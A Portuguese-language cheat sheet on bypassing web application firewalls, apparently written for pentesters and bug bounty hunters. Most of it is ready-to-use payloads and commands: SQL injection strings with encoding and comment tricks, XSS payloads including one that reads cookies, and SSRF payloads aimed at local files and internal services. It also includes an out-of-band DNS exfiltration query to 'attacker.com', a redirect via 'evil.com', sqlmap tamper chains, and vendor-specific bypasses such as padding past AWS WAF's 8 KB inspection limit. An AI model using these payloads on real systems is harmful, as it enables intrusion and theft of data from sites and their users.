[WAF BYPASS — AVANCADO]

Web Application Firewall Evasion

Tecnicas | Encoding | Obfuscation | Tamper Scripts | Bypass Real

---

Uso exclusivo para pentest autorizado, bug bounty e seguranca defensiva.

#	Secao	Conteudo
01	Como WAFs Funcionam	Arquitetura, tipos, mecanismos de deteccao
02	Fingerprint de WAF	Identificar o WAF antes de tentar bypass
03	Encoding — URL / Unicode / Hex	Double URL, Unicode, HTML, Hex, Base64
04	Case e Whitespace	Variacao de maiusculas, espacos alternativos
05	Comentarios e Fragmentacao	Inline comments SQL, conditional comments MySQL
06	HTTP-Level Bypass	Headers, verbos, chunked, content-type, HPP
07	Obfuscation Avancada	Concatenacao, funcoes equivalentes, polimorfismo
08	sqlmap Tamper Scripts	Scripts prontos + como criar o seu proprio
09	Bypass por Vuln	SQLi, XSS, SSRF — tecnicas especificas por tipo
10	WAFs Conhecidos	Cloudflare, ModSecurity, AWS WAF — dicas especificas
11	Checklist e Metodologia	Fluxo sistematico de teste de bypass

01 // COMO WAFs FUNCIONAM

Um WAF inspeciona trafego HTTP/S entre cliente e servidor, bloqueando requisicoes que correspondam a padroes de ataque conhecidos. Entender como ele detecta e o primeiro passo para evadi-lo.

Tipos de WAF

Tipo	Exemplo	Caracteristica
Cloud/SaaS	Cloudflare, AWS WAF, Imperva	Upstream do servidor, facil de implantar
Hardware	F5 BIG-IP, Barracuda	Appliance dedicado na rede
Software	ModSecurity, NAXSI	Modulo do servidor web (Apache/Nginx)
Integrado	Sucuri, Akamai	CDN + WAF combinados

Mecanismos de Deteccao

Mecanismo	Como funciona	Fraqueza
Signature-based	Compara com lista de padroes/regex	Variacao do payload bypassa
Anomaly scoring	Soma pontos; bloqueia acima do limite	Distribuir payload em partes
Behavioral	Aprende comportamento normal do app	Limitar requisicoes legitimas
Reputation-based	Bloqueia IPs/ASNs com ma reputacao	Trocar IP, usar residential proxy
ML/AI-based	Modelo treinado para detectar ataques	Adversarial inputs

O que o WAF inspeciona

- URI/Path — caminho e extensao da requisicao
- Query string — parametros GET (?id=1&name;=abc)
- Request body — dados POST, JSON, XML, multipart
- Headers HTTP — User-Agent, Referer, Cookie, X-Forwarded-For
- Metadados — metodo HTTP, tamanho do body, frequencia

02 // FINGERPRINT DE WAF

Identifique qual WAF esta sendo usado antes de tentar bypass. Cada WAF tem comportamentos, paginas de erro e headers distintos.

wafw00f — Ferramenta Principal

```
# Identificar WAF wafw00f https://alvo.com # Modo verbose wafw00f https://alvo.com -v # Multiplos alvos wafw00f -i targets.txt # Deteccao agressiva wafw00f https://alvo.com -a
```

Fingerprint Manual — Sinais por WAF

```
# Enviar payload e analisar resposta curl -s -I 'https://alvo.com/?q=1+OR+1=1--' Cloudflare: HTTP 403 + header CF-RAY AWS WAF: HTTP 403 + body "Request blocked" ModSecurity: HTTP 403 ou 406 Not Acceptable Imperva: HTTP 403 + header X-Iinfo Sucuri: HTTP 403 + header X-Sucuri-ID Akamai: HTTP 403 + Reference # na pagina F5 BIG-IP: HTTP 403 + "The requested URL was rejected" # Checar headers reveladores curl -I https://alvo.com | grep -iE "(x-waf|cf-|x-iinfo|server)"
```

Nuclei — Templates de WAF

```
nuclei -u https://alvo.com -t technologies/waf-detect.yaml
```

03 // ENCODING — CAMADA 1 DE BYPASS

O servidor decodifica antes de processar, mas o WAF pode nao decodificar — ou decodificar diferente do servidor. Essa discrepancia e a base do bypass por encoding.

URL Encoding

```
# Payload original ' OR 1=1-- # URL encoded simples %27%20OR%201%3D1-- # Double URL encoded %2527%2520OR%25201%253D1-- # Triple encoding (funciona em alguns WAFs) %252527 OR 1%25253D1-- # Referencia: ' = %27 space = %20 < = %3C > = %3E = = %3D ( = %28 ) = %29 ; = %3B
```

Unicode e UTF-8 Encoding

```
# Unicode fullwidth (U+FF21 a U+FF5A) # SQL keywords em largura dupla sao ignorados por alguns WAFs: SELECT = ＳＥＬＥＣＴ UNION = ＵＮＩＯＮ # Unicode normalization bypass # Chars que normalizam para ASCII no servidor mas nao no WAF # sqlmap com unicode escape sqlmap -u 'http://alvo.com/?id=1' --tamper=charunicodeescape
```

HTML Entity Encoding (XSS)

```
# Decimal entities alert = alert script = script # Hexadecimal entities alert = alert # Sem ponto-e-virgula (browsers aceitam) alert # Uso em event handler [img src=x onerror=alert(1)] [svg onload=eval(atob('YWxlcnQoMSk='))]
```

Hex e Base64 em SQL

```
# String 'admin' em hex = 0x61646d696e SELECT * FROM users WHERE user=0x61646d696e # PostgreSQL hex SELECT * FROM users WHERE user=E'\x61\x64\x6d\x69\x6e' # MySQL FROM_BASE64 SELECT * FROM users WHERE user=FROM_BASE64('YWRtaW4=') # CHAR() — bypass de filtros de aspas SELECT * FROM users WHERE user=CHAR(97,100,109,105,110)
```

Tabela de Encodings

Char	URL	Double URL	HTML Dec	SQL Hex
'	%27	%2527	'	0x27
<	%3C	%253C	<	0x3C
>	%3E	%253E	>	0x3E
sp	%20	%2520		--
"	%22	%2522	"	0x22
=	%3D	%253D	=	0x3D
/	%2F	%252F	/	0x2F

04 // CASE VARIATION E WHITESPACE

Case Variation

```
# SQL e case-insensitive — WAFs case-sensitive falham # Original (bloqueado) SELECT * FROM users WHERE id=1 OR 1=1 # Variantes validas identicas para o banco SeLeCt * FrOm users WhErE id=1 oR 1=1 select * FROM USERS where ID=1 Or 1=1 # Tambem funciona em ataques XSS [Script]alert(1)[/Script] [SCRIPT]alert(1)[/SCRIPT]
```

Whitespace Alternativo

```
# Espacos alternativos validos em SQL Tab (\t): SELECT%09*%09FROM%09users Newline (\n): SELECT%0A*%0AFROM%0Ausers Carriage Return (\r):SELECT%0DFROM%0Dusers Form Feed (\f): SELECT%0C*%0CFROM%0Cusers Vertical Tab (\v): SELECT%0B*%0BFROM%0Busers # Combinacao de varios SELECT%09%0A%0D*%09%0AFROM%09users # MySQL aceita parenteses como separador SELECT(*)FROM(users) SELECT(1)FROM(users)WHERE(1=1)
```

Separadores Especiais MySQL

```
# Backticks em MySQL (identifier quoting) SELECT `username` FROM `users` # Exclamacao como separador SELECT!0 UNION SELECT 1,2,3 # Agrupamento desnecessario (SELECT)(*)FROM(users)
```

05 // COMENTARIOS E FRAGMENTACAO

Comentarios SQL como Separadores

```
# Comentario inline /**/ substitui espaco SELECT/**//*/**/FROM/**/users # WAF ve:
SELECTFROMusers (nao reconhece) # MySQL ve: SELECT * FROM users (valido!) # Com conteudo no
comentario (confunde mais) SELECT/*isto eh bypass*/*/*bypass*/FROM users # Combinacao com
encoding SELECT%09/**/%09*%09/**/FROM%09users
```

MySQL Conditional Comments

```
# Sintaxe: /*!keyword*/ # MySQL interpreta como codigo; outros parsers como comentario
/*!SELECT*/ * /*!FROM*/ users /*!50000SELECT*/ * FROM users -- executa se versao >= 5.0.0 #
Bypass classico ' /*!UNION*/ /*!SELECT*/ 1,2,3-- ' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- #
Fragmentar keywords dentro de comments UN/**/ION SEL/**/ECT 1,2,3 # Versao especifica /*!32302
AND */1=1
```

HTTP Parameter Pollution (HPP)

```
# Comportamento por linguagem ao receber ?a=1&a;=2: PHP: ultimo valor (2) ASP.NET: concatenado
(1,2) JSP: primeiro valor (1) Flask: primeiro valor (1) # Exploracao: WAF ve primeiro param,
servidor usa ultimo ?id=1 UNION SELECT 1--&id;=UNION SELECT 1,2,3-- # Payload dividido em params
?id=1 UNI&id;=ON SEL&id;=ECT 1,2,3--
```

06 // HTTP-LEVEL BYPASS

Manipulacao de Headers HTTP

```
# WAFs que confiam em headers de proxy/IP interno curl -H 'X-Forwarded-For: 127.0.0.1'
'https://alvo.com/?id=1 OR 1=1' curl -H 'X-Real-IP: 127.0.0.1' ... curl -H 'X-Remote-IP:
127.0.0.1' ... curl -H 'True-Client-IP: 127.0.0.1' ... # User-Agent de crawlers (alguns WAFs nao
inspecionam) curl -H 'User-Agent: Googlebot/2.1' 'https://alvo.com/?id=1 OR 1=1' curl -H
'User-Agent: Mozilla/5.0 (compatible; bingbot/2.0)' ...
```

Content-Type Manipulation

```
# WAF inspeciona form-urlencoded mas nao JSON/XML # Tentativa JSON curl -X POST
https://alvo.com/login \ -H 'Content-Type: application/json' \ -d '{"user":"admin OR
1=1--","pass":"x"}' # Tentativa XML curl -X POST https://alvo.com/login \ -H 'Content-Type:
text/xml' \ -d 'admin OR 1=1--' # Content-Type com case variation
Application/X-www-Form-Urlencoded
```

Chunked Transfer Encoding

```
# Fragmenta o body HTTP — alguns WAFs nao reconstroem antes de inspecionar curl -X POST
https://alvo.com/search \ -H 'Transfer-Encoding: chunked' \ --data-binary $'5\r\nid=1
\r\n8\r\nOR 1=1--\r\n0\r\n\r\n'
```

HTTP Method Override

```
# WAF inspeciona POST mas nao PUT/PATCH — enganar com override curl -X POST
https://alvo.com/api/user \ -H 'X-HTTP-Method-Override: PUT' \ -d 'payload=malicioso' # Outros
headers de override: X-Method-Override X-HTTP-Method _method (campo de formulario)
```

07 // OBFUSCATION AVANCADA

Funcoes SQL Equivalentes

```
# Substituir keywords bloqueadas por equivalentes SUBSTRING(s,1,1) --> MID(s,1,1) |
SUBSTR(s,1,1) | LEFT(s,1) IF(cond,a,b) --> CASE WHEN cond THEN a ELSE b END IIF(cond,a,b)
[MSSQL] SLEEP(5) --> BENCHMARK(50000000,MD5(1)) [MySQL] pg_sleep(5) [PostgreSQL] WAITFOR DELAY
'0:0:5' [MSSQL] LENGTH(s) --> CHAR_LENGTH(s) | CHARACTER_LENGTH(s) LEN(s) [MSSQL] ASCII(c) -->
ORD(c) | UNICODE(c) [MSSQL] SLEEP --> BENCHMARK(50000000,MD5(1)) [evitar keyword]
```

Concatenacao para Fragmentar

```
# MySQL — concat implicito (strings adjacentes) SELECT * FROM users WHERE user='adm' 'in' #
CONCAT() explicito SELECT * FROM users WHERE user=CONCAT('adm','in') # MSSQL SELECT * FROM users
WHERE user='adm'+'in' # PostgreSQL SELECT * FROM users WHERE user='adm'||'in' # MSSQL — query
dinamica para fragmentar SELECT '; EXECUTE('SEL'+'ECT * FROM users')-- # MySQL — query dinamica
SET @q=CONCAT('SEL','ECT * FR','OM users'); PREPARE s FROM @q; EXECUTE s;
```

Polimorfismo de Payload

```
# Mesmo efeito logico, payloads completamente diferentes: ' OR 1=1-- ' OR 'x'='x ' OR 1 LIKE 1--
' OR 2>1-- ' OR 1 BETWEEN 0 AND 2-- ') OR ('1'='1 '||'1'='1 ' OR NOT 0-- ' OR 1=1 LIMIT 1-- ' OR
1 REGEXP 1-- # Matematica equivalente para 1=1: 1 LIKE 1 | 2>1 | 1 BETWEEN 0 AND 2 NOT 0 |
'a'='a' | 1 REGEXP 1
```

Nested Functions e Construcao Indireta

```
# CHAR() aninhado SELECT * FROM users WHERE user=CHAR(97,100,109,105,110) # UNHEX de string hex
SELECT * FROM users WHERE user=UNHEX('61646d696e') # Expressoes aritmeticas equivalentes SELECT
* FROM users WHERE 1+0=1 SELECT * FROM users WHERE 2-1=1 SELECT * FROM users WHERE ABS(-1)=1
```

08 // SQLMAP TAMPER SCRIPTS

Tamper scripts sao modulos Python que modificam automaticamente cada payload do sqlmap antes de enviar. Podem ser empilhados para combinar tecnicas.

Tampers Mais Efetivos

Tamper Script	O que faz	Bom para
space2comment	Substitui espacos por /**/	WAFs que bloqueiam espaco
charunicodescape	Encoda chars em \uXXXX	Bypass de filtros de chars
randomcase	Aleatoriza maiusculas/minusculas	WAFs case-sensitive
between	Substitui > por NOT BETWEEN 0 AND X	Filtros de operadores
greatest	Substitui > por GREATEST()	Filtros de comparacao
multiplespaces	Adiciona multiplos espacos	WAFs com regex simples
nonrecursivereplacement	Duplica keywords (SSELECT)	WAFs que removem 1x
percentage	Insere % entre chars (S%E%L%E%C%T)	ASP WAFs
plus2concat	Substitui + por CONCAT()	Filtros de operador +
space2dash	Espaco vira -- comentario + newline	MySQL especifico
versionedkeywords	Usa /*!keyword*/ comments	MySQL especifico
equaltolike	Substitui = por LIKE	Filtros de operador =
apostrophemask	Aspas por UTF-8 equivalente	Filtros de aspas

Uso de Tampers

```
# Tamper simples sqlmap -u 'http://alvo.com/?id=1' --tamper=space2comment # Multiplos empilhados sqlmap -u 'http://alvo.com/?id=1' \ --tamper='space2comment,randomcase,charunicodescape' # Combinacao agressiva (Cloudflare) sqlmap -u 'http://alvo.com/?id=1' \ --tamper='between,charunicodescape,equaltolike,greatest,\ multiplespaces,nonrecursivereplacement,randomcase,\ space2comment,apostrophemask' \ --level=5 --risk=3 --random-agent # Listar todos os tampers sqlmap --list-tampers
```

Criar Tamper Customizado

```
# /usr/share/sqlmap/tamper/meutamper.py from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): ''' Combina: case aleatorio + espaco vira /**/ ''' import random if payload: result = '' for char in payload: if char.isalpha(): result += char.upper() if random.random() > 0.5 else char.lower() else: result += char return result.replace(' ', '/**/') return payload # Usar: sqlmap -u 'http://alvo.com/?id=1' --tamper=meutamper
```

09 // WAF BYPASS POR TIPO DE VULNERABILIDADE

SQL Injection — Tecnicas Avancadas

```
# Quando UNION e bloqueado — subconsulta correlacionada ' AND (SELECT SUBSTRING(username,1,1)
FROM users LIMIT 1)='a'-- # Out-of-band SQLi via DNS (MySQL) ' AND
LOAD_FILE(CONCAT('\\\\',user(),'.attacker.com\\a'))-- # Quando aspas sao bloqueadas —
alternativas sem aspas ' OR user=0x61646d696e-- [hex] ' OR user=CHAR(97,100,109,105,110)--
[CHAR] ' OR 1=1-- [numerico] # Stacked queries (MSSQL/PostgreSQL) '; INSERT INTO users
VALUES(0x61646d696e,0x61646d696e)-- # Time-based mais furtivo (evitar SLEEP keyword) ' AND
BENCHMARK(50000000,MD5(1))-- [MySQL] ' AND 1=(SELECT 1 FROM pg_sleep(5))-- [PostgreSQL]
```

XSS — Bypass de Filtros

```
# Quando a tag script e bloqueada — event handlers: [img src=x onerror=alert(1)] [svg
onload=alert(1)] [input autofocus onfocus=alert(1)] [details open ontoggle=alert(1)] [video
src=x onerror=alert(1)] [body onload=alert(1)] # Quando 'alert' e bloqueado — funcoes
equivalentes: [script]confirm(1)[/script] [script]prompt(1)[/script]
[script]console.log(document.cookie)[/script] # Encoding no event handler (WAF nao expande
entities) [img src=x onerror=alert(1)] [svg onload=eval(atob('YWxlcnQoMSk='))] # JavaScript
protocol [a href=javascript:alert(1)]clique aqui[/a] # DOM-based (sem passar pelo servidor) URL:
https://alvo.com/#[script]alert(1)[/script]
```

SSRF — Bypass de Filtros de URL

```
# Quando 127.0.0.1 e bloqueado — representacoes alternativas: 127.0.0.1 --> 2130706433 (decimal)
--> 0x7f000001 (hex) --> 127.000.000.001 --> 127.1 (forma curta) --> 0177.0.0.1 (octal) -->
[::1] (IPv6 loopback) # Redirect bypass (WAF nao segue redirects)
https://alvo.com/fetch?url=https://evil.com/redirect # evil.com retorna: HTTP 302 Location:
http://127.0.0.1/admin # URL schemas alternativos ?url=dict://127.0.0.1:6379/ -- Redis
?url=gopher://127.0.0.1:25/ -- SMTP ?url=file:///etc/passwd -- LFI
```

10 // BYPASS DE WAFs CONHECIDOS

Cloudflare

```
# Detectado por: header CF-RAY, ASN AS13335 # Tecnica 1: case + comentarios
SELeCt/**/*/**/fRoM/**/users # Tecnica 2: encontrar IP de origem (bypass total) # O host real
nao esta atras do CF — basta saber o IP dig +short MX alvo.com # SecurityTrails, Shodan,
historico de DNS curl https://securitytrails.com/domain/alvo.com/history/a # Tecnica 3: acessar
IP direto com Host header curl --resolve alvo.com:443:1.2.3.4 https://alvo.com/?id=1' # Tecnica
4: subdomains que nao passam pelo Cloudflare # mail.alvo.com, ftp.alvo.com, staging.alvo.com
```

ModSecurity / OWASP CRS

```
# ModSecurity usa anomaly scoring (default threshold: 5) # Cada regra adiciona pontos — manter
abaixo do limite # Estrategia: distribuir o payload em partes menores # Usar blind SQLi (menos
deteccao que UNION) # MySQL conditional comment ' /*!UNION*/ /*!SELECT*/ 1,2,3-- # HPP para
diluir ?id=1 UNI&id;=ON&id;= SELECT 1,2,3-- # Multipart boundary confusion curl -F 'id=1 OR
1=1--' https://alvo.com/
```

AWS WAF

```
# AWS WAF inspeciona apenas os primeiros 8KB do body # Colocar payload apos 8192 bytes de
padding PADDING=$(python3 -c "print('A'*8192)") curl -X POST https://alvo.com/ -d "${PADDING}'
OR 1=1--" # Estrutura JSON inesperada curl -H 'Content-Type: application/json' \ -d
'{"a":{"b":{"c":"' OR 1=1--"}}}' https://alvo.com/ # Header customizado nao coberto pelas regras
curl -H 'X-Custom: ' OR 1=1--' https://alvo.com/
```

11 // CHECKLIST E METODOLOGIA

Fluxo Sistematico de Bypass

```
FASE 1 — IDENTIFICACAO [ ] Identificar o WAF (wafw00f, nuclei, fingerprint manual) [ ] Entender o tipo: cloud / hardware / software [ ] Tentar encontrar IP de origem (bypass total) [ ] Mapear o que e bloqueado vs permitido FASE 2 — MAPEAMENTO DE BLOQUEIOS [ ] Testar cada keyword SQL individualmente [ ] Testar caracteres especiais (aspas, hifens, barra) [ ] Identificar qual parte da request e inspecionada [ ] Verificar se headers sao inspecionados FASE 3 — BYPASS BASICO [ ] Case variation (SeLeCt, UnIoN) [ ] Whitespace alternativo (%09, %0A, %0D) [ ] URL encoding simples [ ] Comentarios inline (/**/) FASE 4 — BYPASS INTERMEDIARIO [ ] Double URL encoding [ ] Unicode encoding [ ] MySQL conditional comments (/*!*/) [ ] Funcoes equivalentes (MID, BENCHMARK) [ ] HPP (HTTP Parameter Pollution) FASE 5 — BYPASS AVANCADO [ ] Content-Type manipulation [ ] Chunked transfer encoding [ ] Header bypass (X-Forwarded-For) [ ] sqlmap com tamper scripts empilhados [ ] Custom tamper script especifico [ ] Body padding (AWS WAF 8KB limit) FASE 6 — DOCUMENTACAO [ ] Registrar qual tecnica/combinacao funcionou [ ] Documentar payload final reproduzivel [ ] Classificar vulnerabilidade com CVSS [ ] Recomendar remediacao especifica
```

Referencias

Recurso	Onde encontrar
PayloadsAllTheThings	github.com/swisskyrepo/PayloadsAllTheThings
Awesome-WAF	github.com/0xInfection/Awesome-WAF
PortSwigger Academy	portswigger.net/web-security (labs gratuitos)
sqlmap tampers	kali: /usr/share/sqlmap/tamper/
HackTricks	book.hacktricks.xyz
Bug Bounty (legal)	HackerOne, Bugcrowd, Intigriti